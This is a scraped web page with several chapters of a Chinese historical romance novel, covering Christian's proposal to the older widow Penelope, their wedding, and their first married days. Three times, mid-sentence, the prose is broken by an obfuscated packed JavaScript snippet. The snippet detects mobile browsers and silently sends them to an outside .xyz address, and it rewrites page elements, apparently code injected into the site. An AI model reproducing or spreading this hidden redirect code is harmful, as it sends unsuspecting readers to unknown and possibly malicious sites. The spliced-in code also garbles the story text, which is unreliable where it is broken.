“你就是嫉妒了。”克里斯蒂安的声音变得愈发愉悦起来。 真好，之前一直都是他在疯狂地嫉妒其他男人，现在，他总算是看到了她的嫉妒。 “我没有！”佩内洛普耻辱地低下了头颅，继续反驳道，“我已经说了原因，你为什么就是不信……” “佩内洛普，你最在乎的根本就不是年龄问题。”他用低沉的声音打断她道，“你就只是害怕。” “我能害怕什么？”她就像是听见了一个天大的笑话，“我什么都不害怕！” “你当然害怕，你敢说，你从不曾害怕会被我抛弃？”他一边控制住她不让她挣脱一边说，“在你的生命里，男人总是来了又走。哪怕是最深爱你你也最深爱的马修，也用去世的方式离开了你；哪怕是你的亲生父亲，也毫不留情抛弃了你。于是，你习以为常了，就以为那是必然的。” 佩内洛普的指尖微微颤抖了一瞬。莎拉曾对她说过类似的话，可她从未真正去承认。 她咬紧牙关，压下心头翻涌的情绪，冷冷道：“我的父亲也好，马修也好，都与这件事无关。是我选择了要过这样的生活，就也注定了我将会面临这些，而我也乐于让男人们来来去去。” 他摇了摇头，坚定道：“我不会管你在这里嘴硬什么，我爱你，佩内洛普，在我心里，与我共度余生的人只会是你，不会是什么安娜贝尔女爵，我与她就只是正常的社交，我从未逾矩。当然，你不相信我没关系，就让时间来证明一切。至于继承人，我家族的男人还没有死光，所以你不用担心会因为你而绝嗣，而且，你的年龄当然还可以孕育孩子，你才三十六岁，三十六岁距离不能孕育孩子还早呢。我更在乎的是你还想不想再生孩子，如果你不想生了，我很乐意生活里就只有你。” 佩内洛普的心剧烈跳动着，仿佛要撞破胸腔。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568559|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望着克里斯蒂安，想从他的眼神中找出一丝玩笑的成分，但她失败了。他的目光比任何时候都更加坚定，没有丝毫犹豫或不安，仿佛她的抗拒根本无法动摇他分毫。 她不该感动的，不该在这种时候被他的话打动。可她终究是个人，一个在黑暗中摸索了太久、早已习惯了孤独的人，现在，突然有人向她伸出手，告诉她他永远也不会离开，她又该如何假装自己无动于衷？ 她用尽最后一丝理智，低声道：“你会后悔的，克里斯蒂安。你现在觉得自己可以不在乎，但时间会改变一切。当你厌倦了我，厌倦了所有的流言蜚语，你会发现自己犯了个错误。” 克里斯蒂安笑了一声，握紧她的手：“佩内洛普，你真的以为我是那种会后悔的人？如果是，那你还不了解我。” 他的语气太过笃定，甚至有些狂妄，让她一时间无言以对。 克里斯蒂安趁她愣神的瞬间，将戒指塞进了她的手心，并握住她的指尖，认真道：“你不用现在就给我答案的，你可以拒绝，但这枚戒指会一直留在你身边，直到你准备好接受我。” 佩内洛普低头看着掌心里的戒指，喉咙有些发紧。 这是一枚古老的家族戒指，镶嵌着一颗打磨光滑的红宝石。她知道这样的戒指，也知道它曾经肯定是属于克里斯蒂安的母亲，更知道它的意义。 这不仅仅是求婚的信物，而是承诺，是他对她的誓言。 她该拒绝的，该把这枚戒指还给他，然后让他彻底死心。可她握着它的手却怎么也无法松开。 因为她知道她有多么想要它。 克里斯蒂安轻轻地抬起她的下巴，让她对上他的眼睛，低声道：“我爱你，我也会爱你直到生命的最后一刻，这是真的，求你了，就相信我吧。” 他的语气如此笃定，仿佛誓言一般，让她几乎无法呼吸。 佩内洛普闭上眼睛，指尖微微收紧，心脏在胸腔中狂乱跳动。 她最害怕的从来就不是这段感情，而是它的结局。 可是眼前的男人，如此坚定，如此执着，几乎足以使她坚信，他们会得到幸福。 良久，她轻轻地叹了口气，终于还是把戒指紧紧攥在掌心里，闭上眼睛，轻声道：“好吧，我会考虑的。” 克里斯蒂安的嘴角微微上扬，露出了一抹得逞的笑意。 “那就够了，佩内洛普，你有一辈子的时间可以考虑，我永远在这里。” 他俯身在她的额头落下一吻，温柔而虔诚。 佩内洛普闭着眼睛，感受着他温暖的气息，心里却清楚地知道，她已经输了，彻底地输了。 她终究还是抵挡不住他，也抵挡不住自己那颗正向他奔去的心。 她也终于明白——也许，她并不就仅仅只是他生命中的一个过客，而是他这辈子唯一真正想要去留住的人。 所以，他们可能真的要结婚了。 48. Chapter 48 佩内洛普答应考虑他们的婚约后，克里斯蒂安并没有急于逼迫她什么，而是耐心地给予了她足够的时间去思考一切。可这并不意味着外界会同样宽容。 伦敦的贵族圈很快就传开了他们在考虑婚姻的消息，街头巷尾都在议论着——一个年轻、英俊、前途无量的男人，最终竟然真的选择了一位比他年长十一岁的女人，尤其，佩内洛普也许出身显赫，但她一直是个带着些许“丑闻色彩”的人物，而克里斯蒂安的家族一向保有传统贵族的骄傲。 最先反对的是克里斯蒂安的姑姑——家族中唯一的还存有着一定影响力的长辈。她找到了克里斯蒂安，语重心长地警告他：“你是在毁掉你的前程，克里斯蒂安。佩内洛普·考德威尔女爵或许聪明、迷人，但她绝不适合作为你的妻子。她无法为你带来更强大的联盟，也年纪太大，她很有可能无法给你一个继承人。你难道不明白吗？” 克里斯蒂安的脸色冷峻，眼神坚定：“我不需要依靠婚姻来换取任何东西。更何况，她就是我唯一想娶的女人，我也不在乎继承人，我想，让丹尼尔和他的后辈继承也可以，反正他做梦都想拥有我的一切。” 听到一向疼爱的侄子的名字，克里斯蒂安的姑姑的脸色也变得愈发难看起来。她很清楚，克里斯蒂安已经与丹尼尔达成了协议，每年都会给丹尼尔一笔丰厚的津贴，但条件是丹尼尔不能回到英国。 她想，他对待亲人未免过于狠心了。 “你太固执了，这点就像你的父亲。”她长长地叹了口气，“一个像她那样丑闻缠身的女人本应该知道好歹，她不该答应，毁掉你的名声。” “可是她答应了，这就足够了。”克里斯蒂安缓缓开口道，“至于名声问题，我们会一起搬到乡下，远离一切。总之，她不会后悔的，就像我也不会。” 可事实上，佩内洛普却仍还在犹豫。她确实想要接受这段婚姻，而不是始终扭扭捏捏，辜负克里斯蒂安对她的爱，但她无法忽视所有的现实问题。 就像她的好友莎拉，哪怕听到这个消息时都高兴坏了，一进她家门，却还是忍不住跟她谈起了一些比较严肃的问题。 “佩妮，你真的考虑清楚了吗？你知道一场这样在外人看来并不登对的婚姻意味着什么，因为你的身份，咱们将会迎来一场大战，这是在所难免的，就像我，我出身卑微又名声差，所以哪怕我都选了一个行将就木的老头，都依旧有人觉得我侮辱了他的名字。我希望你已经准备好应对一切了，而我会一直陪在你身边。” 佩内洛普摸着戒指，沉默了许久，才轻声开口道：“莎拉，其实我很害怕，我仍在思考自己究竟应不应该与他结婚，这枚戒指实在太沉重了。” “啊？我是来为你鼓气的，可不是为了让你害怕的，你怕什么呢？”莎拉握住她的手，“怕打不赢这场仗，还是怕自己真的幸福？” 佩内洛普苦笑了一下，没有回答莎拉的问题，但那天晚上，她回到房间，看着手中的戒指，终于还是下定了决心——她绝不会再这么逃避下去了。 她真的要嫁给克里斯蒂安，无论最后他们的结局为何。 就像现在仍然在叛逃的米娜一样，她曾经也是一个勇敢无畏的女孩，她毅然决然地嫁给了她亲爱的马修·麦金托什，并从未真正感到后悔，不是吗？ 她怎么可以年过三十后就开始忘记了过去，变得畏畏缩缩起来了呢？ 马修…… 一想到曾经的丈夫，她仍然会感到一阵心痛袭来。 “你会祝福我吗？”她轻轻地询问，“我知道你会，所以，我一定会幸福的，对不对？我爱你，马修。” 她一边说，一边泪如雨下。 * 夜色沉沉，伦敦的街道被煤气灯映照出一片温暖的微光，静谧而安宁，仿佛整个世界都在为即将到来的盛典屏息等待。然而，在这片宁静之下，却潜藏着一场小小的叛逆。 按照传统，新郎与新娘在婚礼前夜不应见面，以免冲撞好运，但克里斯蒂安向来不在乎这些繁文缛节。他对所谓的禁忌毫无敬畏之心——尤其是当它阻碍他见到佩内洛普时。 于是，他悄无声息地穿过走廊，推开房门，像一只训练有素的猎豹般潜入她的卧室。 佩内洛普正坐在床榻边，身上披着一件浅色的丝绸睡袍，柔软的长发散落在肩头。她正专注地看着手中的一封信，灯光映在她的侧脸上，勾勒出温柔的轮廓。 听到轻微的脚步声时，她并未惊慌失措，而是缓缓抬起头，带着一丝无奈地看向那个不速之客。 “你又在做什么？”她的语气平静，仿佛这已不是克里斯蒂安第一次做出这种鲁莽的事。 克里斯蒂安倚在门框上，嘴角微扬，带着惯有的漫不经心：“来看看我的未婚妻有没有后悔，或者是不是趁夜色偷偷跟着哪个英俊的男人逃跑了。” 佩内洛普忍不住嗤笑了一声，随手将信折好，放在枕边，故作冷淡地看着他：“现在后悔还来得及吗？” 克里斯蒂安随意地走向她，在她床沿坐下，低头端详着她的脸，眼神深邃而炽热。他微微倾身，手肘支在膝盖上，似笑非笑地看着她，语气却是斩钉截铁：“当然不行。” 佩内洛普挑了挑眉，语气带着几分揶揄：“如果我坚持呢？” 克里斯蒂安伸出手，轻轻捏住她的下巴，迫使她直视自己，嘴角勾起一抹坏笑：“那我就会把你绑到教堂里去，确保你在牧师面前乖乖说‘我愿意’。” 佩内洛普道：“就这么紧张？” 克里斯蒂安低低笑了一下，握住她的手，指腹缓缓摩挲着她掌心的纹路。他的目光落在她纤细的手指上，语气难得地透着一丝认真：“你不紧张？” 佩内洛普一怔，移开视线，指尖不自觉地收紧了些。 她当然紧张。这不仅仅是一场婚礼，而是她人生的又一次改变，一次她曾无比抗拒，却最终还是选择的改变。 可她不想让他看出自己的忐忑，于是她淡淡道：“只是觉得……不可思议。” 克里斯蒂安的笑意微微收敛，沉默片刻后，他轻轻吻了吻她的指尖，声音低哑而坚定：“但这是真实的。” 佩内洛普缓缓抬眸，看着这个男人。他的眼神太过炽热，太过深情，让她一时间竟不知如何回应。 她轻轻地叹了口气，抽回手，语气却依旧带着些许戏谑：“你来这里，不会只是为了说这些吧？” 克里斯蒂安耸耸肩，语气悠然：“当然不是。” 说罢，他直接伸手，一把将她揽入怀里，让她的头靠在他的肩膀上。佩内洛普本能地挣扎了一下，可他的手臂却牢牢箍住她的腰，带着一丝不容拒绝的固执。 “克里斯蒂安！”佩内洛普低声呵斥，脸颊也微微泛红，“这是我的房间，你该回去了。” “但我不想走。”他在她的耳边低语，温热的气息轻轻拂过她的耳畔，让她的心跳不由自主地加快。 佩内洛普深吸了一口气，努力让自己的理智保持清醒：“明天就要举行婚礼了，你现在闯进来，实在不合规矩。” “我从来都不在乎规矩。”克里斯蒂安轻笑，手指穿过她的发丝，声音低沉而温柔，“况且，明天开始，我们就要成为夫妻了，你真的希望今天晚上把我赶出去？” 佩内洛普抬眸瞪了他一眼：“克里斯蒂安·朗斯通，你知道你现在像什么吗？” 他挑眉：“像什么？” “像个得不到糖果的小孩。” 克里斯蒂安大笑出声，毫不掩饰自己愉悦的心情：“如果你就是那颗糖果，那我确实想要。” 佩内洛普被他的轻佻逗得无奈，只好推开他，语气无比坚定：“现在，回你的房子里去。” 听着她训小孩一般的语气，克里斯蒂安眨了眨眼睛，故作思索地看着她：“如果我说不呢？” 于是佩内洛普也学习了他的孩子气：“那我明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568560|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不去教堂了。” 克里斯蒂安怔了一瞬，而后笑得更大声了。他抬起手揉了揉她的头发，像是拿她没办法一般，叹息道：“好吧，我走。” 他说着站起身，临走前，又回头看了她一眼，嘴角带着一抹温柔的笑意：“佩内洛普，明天见。” 佩内洛普望着他的背影，嘴角也不自觉地微微上扬。 当房门重新合上后，她终于长长地吐出一口气，低头看着自己的手——她的掌心里，仍然残留着他的温度。 她轻轻抚上自己的胸口，感受着心跳的节奏。 是的，明天，她就要成为克里斯蒂安的妻子了。 她闭上眼睛。 明天见，克里斯蒂安。 * 婚礼在伦敦最负盛名的圣乔治教堂举行，整个贵族圈的名流都被邀请前往汉诺威广场。这不仅仅是一场婚礼，更是一场轰动整个社交圈的盛事。 人人都觉得他们像是一对笑话，可与此同时，人人也都不愿意缺席一对笑话的婚礼。 教堂里，白色的花朵点缀着长椅，阳光透过彩色玻璃洒落，给一切都镀上了神圣的光辉。宾客们一边大谈各种八卦，一边等待着新娘的到来。 克里斯蒂安站在祭坛前，身穿黑色礼服，身姿笔挺，眼神坚定。他从未如此紧张过，却又充满期待。 当乐声响起，所有人的目光都集中在了教堂门口。 佩内洛普出现了。 她身穿一袭象牙白色的婚服，裙摆优雅，她的头纱轻轻垂落，遮住了温婉的脸庞，但透过轻纱，仍能看到那双沉静而坚定的眼睛。 她早已不是年轻纯真的少女，但她此刻的美丽却比任何时候都更加动人，带着一种饱经风霜后的优雅与从容。 克里斯蒂安的呼吸微微一滞。 他从未见过这样的她——既脆弱，又坚定，既优雅，又带着一丝不易察觉的紧张。他想，她此刻或许还有些不安，但她还是来了。 那就好了。 当佩内洛普一步步走向他的时候，他的嘴角缓缓扬起，伸出手，迎接他的新娘。 佩内洛普缓缓走上前，站在他身边，抬头看着他。 她的眼中仍旧带着些许不安，可当克里斯蒂安对她笑了笑，并给予了她一个坚定的眼神时，她的心跳逐渐平稳了下来。 “我愿意。” 在牧师询问克里斯蒂安将要怎么做才能让佩内洛普成为他一生一世的妻子时，他立刻如此回答道。 于是，牧师又转向了佩内洛普。 “我愿意。”她也如此回答。 然后，在牧师的提示下，他开始诵读誓言，她也跟着诵读誓言。 当这些冗长的词句终于说完，克里斯蒂安的伴郎将金光闪闪的婚戒递给了他，他缓缓将它套在了佩内洛普光秃秃的无名指上。 他能感觉到，佩内洛普的手指微微颤抖了一下，但最终，她还是吸了一口气，紧紧地握住了他的手。 她的动作深深触动了他的心。 之后，不等牧师再发什么言，再指导他们做些什么说些什么，克里斯蒂安直接毫不犹豫地将佩内洛普拉入了怀中，低下头吻住了她。 这是非常不体面的行为，他让他们几乎像是一对中产阶级的夫妇，但他实在无法等待了。 去他的体面！ 牧师见此，也只能无奈地赶紧宣布：“谨以圣父、圣子、圣灵的名义，宣布你们结为夫妻。阿门。” 整个教堂响起雷鸣般的掌声。 佩内洛普缓缓闭上眼睛，感受克里斯蒂安的温度，终于，她彻底放下了一切防备。 此后余生，她不再会有任何的担忧、害怕，她脑海里所有那些让她挣扎不安的情绪，通通都消散了，只有一种温暖的幸福感在慢慢地涌上心头。 这是他们的结婚日。 她是他的妻子。 他们会永远在一起，直到死亡将他们分开。 49. 婚后早晨 晨光透过窗帘的缝隙洒落在宽敞的卧室里，金色的光晕柔和地铺展在地毯上，也悄悄攀上床榻上的两道身影。 克里斯蒂安睁开眼睛，第一时间就看到躺在自己身侧的佩内洛普。她的长发微微凌乱，脸颊因熟睡而泛着淡淡的红晕，整个人都蜷缩在他的怀里，像只慵懒的小猫。 他微微一笑，抬手拨开她颊边的一缕发丝，指尖忍不住沿着她的眉骨缓缓滑落，直到落在她的下颌线上，最终停在她微微张开的唇上。 佩内洛普微微蹙眉，似乎察觉到了他的动作，轻轻翻了个身，嘴里含糊不清地嘟囔了一句：“克里斯蒂安……别闹……” 克里斯蒂安忍俊不禁，低声笑道：“我什么也没做。” 佩内洛普又缩了缩，脑袋更深地埋进他的颈窝里，像是在逃避清晨的光亮。克里斯蒂安本想再逗她一下，但看着她此刻的模样，心底却腾起一股从未有过的满足。 这就是他们婚后生活的第一天，他的妻子正躺在他的怀里，以最自然的姿态依偎着他。 ——她已经属于他了，就像他也属于她了一样。 想到这里，克里斯蒂安忍不住低头，在她额间落下一吻，手臂微微收紧，让她更贴近自己。 佩内洛普终于被他的动作弄得彻底清醒，她缓缓睁开眼睛，睡意未散的眸子带着几分慵懒。当她的视线对上他的脸时，她不由得轻轻地叹了口气：“不公平，你怎么这么早就醒了？” 克里斯蒂安扬眉：“难道不应该问你，为什么现在都不愿起床？” “因为我还困着呢，爵爷。”佩内洛普理直气壮地回答，伸了个懒腰，整个人更肆无忌惮地窝在他怀里，带着一丝撒娇的意味。 克里斯蒂安好笑地看着她，声音轻柔而宠溺：“夫人，你这样可不太好哦，我可不是一块柔软的枕头。” “可你很暖和。”佩内洛普闭上眼睛，又缩了缩，“所以，你可以再让我抱着睡一会儿吗？” 克里斯蒂安无奈地笑了笑，伸手揽着妻子的腰，顺从地让她靠得更舒服一些。 他原以为佩内洛普会是个严谨、自律的妻子，至少不会像现在这样赖床。可她的这份懒散，反倒让他生出一种独占的快意——在这个世上，以后就只有他能看到她这副模样了。 他低下了头，凑近她的耳畔，声音带着刚刚睡醒的低哑：“好吧，那我就勉强陪你再赖一会儿床。” 佩内洛普轻笑了一声，闭着眼睛低声呢喃：“嗯，我喜欢乖巧的丈夫。” 克里斯蒂安没有再说话，只是用行动回应了她——他搂得更紧了一些，呼吸轻柔地拂过她的耳侧，掌心贴在她的后背，轻轻地顺着她的脊梁摩挲，带着某种安抚的意味。 这样温馨的早晨，实在不需要急着起床。 最终，是外面的敲门声打破了卧室里的宁静。 “爵爷，夫人，早餐已经准备好了。”管家的声音从门外传来，带着一如既往的沉稳。 佩内洛普终于睁开眼睛，伸手推了推克里斯蒂安，轻声道：“该起床了。” 克里斯蒂安懒懒地嗯了一声，却没有丝毫要松手的意思，反倒埋头在她的颈侧蹭了蹭，声音中带着些许困倦：“不想动。” “你不是刚才还很精神吗？”佩内洛普挑眉，佯装生气地问道。 “刚才是刚才，现在是现在。”克里斯蒂安理直气壮地回答。 佩内洛普无奈地叹了口气，伸手捏住他的耳朵，略带警告地轻轻扯了扯：“如果你再不起床的话，我就自己一个人下去吃了。” “别，而且身为已婚女士，你有这个在床上享用早餐的特权。” “可我想在你家的餐厅里，与你一起吃我作为朗斯通夫人的第一份早餐。”佩内洛普认真道。 她的话让克里斯蒂安无法拒绝。 但他还是必须说：“我们的家。” 说完，他笑了笑，也终于松开了她，任由她坐起身，拿起晨袍披上。他的目光不自觉地落在她露出的锁骨上，目光暗了暗，可最终，他还是克制地移开了视线，慢悠悠地跟着她起身。 早餐已经摆好了。有新鲜的面包、果酱、熏肉、煎蛋等等。阳光透过窗户洒在桌布上，整个房间都弥漫着温暖的气息。 佩内洛普优雅地拿起刀叉与餐盘，挑选自己喜欢的食物，而克里斯蒂安则端起咖啡杯，悠然地抿了一口。 两人之间的氛围意外的宁静而自然，仿佛这样的生活已经持续了许多年。 佩内洛普一边吃，一边看着晨报，然后，管家恭敬地送来了一份给她的电报。 她将电报从银盘上拿了起来，微微点头示意他退下，然后，才将它打开。 “亲爱的表亲，我被说服了，我一周前结婚了！我今天终于有时间看新闻，才得知你也结婚了，祝福你。” 而落款是—— 佩内洛普又是惊讶又是好笑道：“米娜最终还是成了一位公爵夫人，而且，居然还是一位来自意大利的公爵。” 但对此，克里斯蒂安只是扬了扬眉，便微笑道：“我并不感到意外，对于你们家的女人，一切皆有可能。” 这倒是没错，佩内洛普想，比如说，谁能想到她竟会嫁给一个比她小十一岁的伯爵呢？ “等会儿吃完了早餐，我们一起去外面走一走吧？”她又提议道。 克里斯蒂安没有拒绝，只是问她：“你想去哪？” “就随便走走。”佩内洛普微微一笑，目光柔和，“我们好像从未一起在伦敦的街道上散步，现在你我成了夫妻，不应该找个时间体验一下吗？” 克里斯蒂安若有所思地看着她，片刻之后，他笑了笑，伸手拿起她的手，轻轻吻了一下她的指尖：“既然是夫人的要求，那我当然奉陪了。” 佩内洛普嗔怪地看了他一眼，却也没有抽回手，而是任由他这么紧紧地握着。 早餐过后，克里斯蒂安果然陪着佩内洛普出门了。伦敦的清晨雾气蒙蒙，街道上行人不多，偶尔有马车驶过，轮子碾过石板路，发出轻微的响声。 两人并肩而行，步调出奇地一致。佩内洛普紧紧挽着克里斯蒂安的手臂，偶尔会停下来饶有兴致地看看橱窗里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573874|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展示的最新款帽子，或是路边花摊上刚刚运来的玫瑰。 克里斯蒂安安静地陪在她身边，不时低声评论几句，比如某家店铺的甜点是否值得尝试，又或者某位路过的女士帽饰是不是有些过于夸张，简直像是顶着一座花园。 “你对女士的时尚竟然如此有研究？”佩内洛普挑眉，半开玩笑地看着他。 克里斯蒂安耸了耸肩，语气带着一丝无奈：“不得不研究。毕竟在社交场合里，如果你夸错了贵妇的帽子，她可能会记恨你一辈子。” 佩内洛普笑了笑，很快，目光又落在一处不远的书店橱窗前，透过明亮的玻璃，她能清楚地看到里面整齐排列的书架，以及一些正低头翻阅书籍的顾客。 克里斯蒂安显然已经敏锐地察觉到她的兴趣，立刻便提议道：“要不要进去看看？” “当然。”佩内洛普微微一笑，率先走了进去。 书店里弥漫着淡淡的纸张与墨水的气息，宁静而雅致。佩内洛普随手取下一本诗集，翻开了几页，而克里斯蒂安则站在她身旁，目光不自觉地落在她专注阅读的神情上。 他发现自己越来越喜欢看她这样安静的模样，仿佛世界上所有的喧嚣都与他们无关。 “你不也看看？”佩内洛普察觉到他的目光，抬头问道。 “我在看。”克里斯蒂安低声道，嘴角噙着一抹笑意。 佩内洛普愣了一下，随即轻轻地摇了摇头，似乎对他的言语感到无奈，但眼中却闪过一丝温柔的笑意。 最终，她挑了一本书，克里斯蒂安理所当然地替她付了账，然后牵着她的手走出书店。 伦敦的街道上渐渐地热闹起来，阳光也越发明媚。它洒在他们身上，仿佛给他们披上了一层金色的光辉。两人就这么继续漫步着，不急不缓，像是对这座城市的一切都无比熟悉，又像是在重新发现其中的美好。 “你知道吗？”佩内洛普忽然开口，“我以前从未想过，有一天会能这样和你一起在大街上散步。” 克里斯蒂安微微侧目，看向她的侧脸：“嗯？为什么？” 佩内洛普轻轻地叹了口气，语气中带着一丝感慨：“因为你以前总是那么古怪，又那么神秘，我读不懂你，便也一直以为，你不会是那种喜欢这种普通日常生活的人。” 而她却一直都很怀念这种平淡而美好的日子。 克里斯蒂安笑了笑，牵紧了她的手：“事实上正是因为我的特殊，我过去从未幻想过什么不同寻常的日子，普通的日常生活，就令我满足了。” 佩内洛普停下脚步，抬头看着他。 清晨的阳光洒在他的侧脸上，柔和了他一贯的冷峻，眉眼间透着前所未有的温和。 他们的婚后生活明明才刚开始，佩内洛普想，可此刻，她便仿佛已透过他的脸看到了未来的几十年。 当然，未来或许依旧会有风雨，会有争执与不安。但她知道，眼前这个年轻的男人，会始终牵着她的手，走过所有平凡与不凡的岁月。 她一定会幸福的。 不，她现在就已经很幸福。 50. 秘密小屋 在清晨的林间，小屋被晨雾笼罩，一缕金色的阳光从云层之间透出，温柔地洒在藤蔓交织的墙面和石阶上。屋内，炉火正旺，松木的香气弥漫在空气中，带来一丝安宁与温暖。 佩内洛普慢慢睁开眼睛，视线模糊地看见克里斯蒂安坐在床头，手里捧着一本诗集，诗集安静地躺在他的膝上，晨光在他略显凌乱的深色发丝上镀上一层柔和的金辉。 她眨了眨眼，有些不真实地看着眼前这一幕。 这么多年，她以为自己早已无缘这种近乎奢侈的宁静。可是现在，她在这里，还与一个比自己年轻许多，却用尽全部温柔对待她的男人在一起。 佩内洛普慢慢伸出手指，轻轻地触碰他的侧脸。克里斯蒂安立刻便察觉到了，她的指尖尚未离开，他就握住了她的手，低头吻了吻她的掌心。 “醒了？”他嗓音沙哑，带着刚醒时特有的磁性。 “嗯。”佩内洛普懒懒地应了一声，又往他的怀里靠了靠。 “昨天让你坐我驾驶的马车坐了一天，没有累坏吧？”他低声问，一边轻柔地摩挲着她裸露在睡袍外的肩膀。 佩内洛普轻笑着出声，鼻音里带着慵懒的满足：“如果每一次的疲惫之后，都能像这样醒来，我想我还可以再多累一些。” 克里斯蒂安低低笑了，声音里藏着一丝得意。他将诗集丢到一边，俯身吻上她的发顶，把她整个圈在怀里。 “我们今天可以继续待在这里。”他喃喃道，“不必继续赶路，也不必见人。这个地方，是独属于我们的世界。” 佩内洛普闭着眼睛微笑，耳畔全是他温柔而低沉的嗓音。 ——独属于他们的世界。 他们就这么静静地躺了一会儿，直到佩内洛普终于忍不住笑着推了推他：“再不起来，你会把早餐时间也睡过去的，朗斯通勋爵。” “求你了，就叫我克里斯蒂安。” 克里斯蒂安不甘不愿地松开了她，眼神却带着明显的宠溺。他替她拉好肩头的睡袍，动作细致得仿佛在触摸最珍贵的宝物。 佩内洛普一边穿衣服，一边悄悄地打量着他。 这就是她的丈夫，一个年少时就满身伤痕，却依然学会了如何去爱，如何去温柔对待她的男人。 * 厨房里传来阵阵混乱声响。 佩内洛普静静站在门口，双手抱胸，看着自己的小丈夫在笨拙地与炉灶搏斗。他们只有两个人，没有带任何仆人，他显然是想自己准备早餐，却几乎把煎锅弄翻在地。 “需要我来帮忙吗？”她好笑地问，“正好我也许久没有磨练我的厨艺了。” “不需要！”克里斯蒂安皱着眉，“你嫁给我可不是来做这些的。” 佩内洛普挑了挑眉，干脆搬了把椅子坐下，像看表演似的注视着他。 最终，一盘烧焦的煎蛋与黑乎乎的面包被端到了她的面前，搭配着一杯倒得满满的热牛奶。 佩内洛普接过刀叉，装模作样地切了一块焦蛋，优雅地放进嘴里，轻咳了一声，然后，扬起眉毛，似笑非笑地看着克里斯蒂安。 “天呐，我真是太爱你了。”她半是调侃半是认真地说。 克里斯蒂安假装没听懂：“是因为早餐非常好吃，还是因为我是我？” 她噗嗤一笑：“当然因为你是你。” 然后，她放下刀叉，起身走到他的身边，双手搭在他的肩膀上，轻声道：“不管这世上有多少完美的早餐，我都更想要你。” 克里斯蒂安的喉结动了动。他伸手揽住她，将她抵在厨房的墙边，深深地吻住了她。 这个吻不同于以往的克制和温柔，带着一种微微的焦急和本能的渴望。仿佛他终于明白，眼前这个女人，真的属于他了。她不再是那个遥不可及的梦，而是他怀中真实而温暖的存在。 佩内洛普也回吻着他，毫不保留地回应着他的炽热。 他们就这么在小屋里窝了一天，直到晚上才终于有心思出去走走，就像他们曾经也会夜间在公园里散步一样。 可与伦敦不同的是，这里更安静些，没有任何外界的喧嚣，只有微弱的虫鸣和林间流淌的小溪声。 佩内洛普懒洋洋地靠在克里斯蒂安怀里，看着满天繁星，忽然间轻声道：“我们以后还会经常过来这里吗？” 克里斯蒂安低头吻了吻她的耳垂：“当然了。每当你想要逃离伦敦的无聊，以及又大又空的朗斯通庄园，就只想要一个独独属于我们两个人的地方……我们就过来待几天，好不好？” 佩内洛普抬头望着他，在夜色中，克里斯蒂安的轮廓显得格外深邃。她轻轻地笑了笑，伸手触碰他的脸颊。 “谢谢你，克里斯蒂安。” “嗯？谢谢我什么？” “谢谢你，用自己的方式，把一个破碎的我，一点点地拼回来了。” 克里斯蒂安的喉咙哽了一下，他什么也没说，只是紧紧地抱住了她。 在无边无际的夜色中，他们就这样相拥而立，仿佛世上再无其他。 ——这就是他们的秘密小屋。 ——也是他们秘密的、永远不会褪色的幸福。 * 第二天早晨，阳光穿透薄雾洒进林间小径，空气中带着草木和土壤混合的清新气息。 克里斯蒂安醒得比佩内洛普早。 他静静侧躺，单手支着脑袋，看着熟睡中的她。佩内洛普的长发散落在枕头上，脸上带着难得的放松与安宁，嘴角微微弯起，仿佛在做一个甜美的梦。 他忍不住伸出手，轻轻地划过她的眉毛、鼻梁，最后，停在她柔软的嘴唇上。 佩内洛普感觉到微微的痒意，睁开眼睛，正好对上他带笑的目光。 “你又在做什么？”她声音带着刚醒的慵懒和一丝撒娇。 “确认我的妻子没有偷偷逃跑，离开我这个只有一间小破屋子的穷鬼。”克里斯蒂安一本正经地说。 佩内洛普失笑，抬手便推他的胸膛：“傻瓜，我像是那样的人吗？” 克里斯蒂安笑着俯身在她额头落下一个吻：“当然不，夫人坚贞又美丽。” 他们就这样又赖了一会儿床，直到克里斯蒂安提议道：“镇上今天好像有个什么秋季集市，我们要不要去看看？听说有新鲜的苹果酒，还有一些挺有趣的比赛。” 佩内洛普挑眉：“比赛？你确定你要去看村民们的比赛吗？” “我确定。”克里斯蒂安认真地点头，“也许我也可以参与其中……我们甚至可以顺便赢几只小羊回来。” 佩内洛普被他这荒唐的提议逗得笑出了声：“带回来让你晚上数羊助眠？” “也不错。”克里斯蒂安笑着凑近她，“不过现在，我只需要你在我身边就足够了。” * 当他们赶到时，他们发现，集市比他们想象中还要热闹。 小屋所在的小镇虽然偏僻，但一年一度的秋季集市吸引了不少周围村庄的人们。道路两边摆满了摊位，卖着各式各样的手工艺品、蜜饯、奶酪、编织的披肩，当然还有热腾腾的新鲜苹果酒。 佩内洛普换上了一 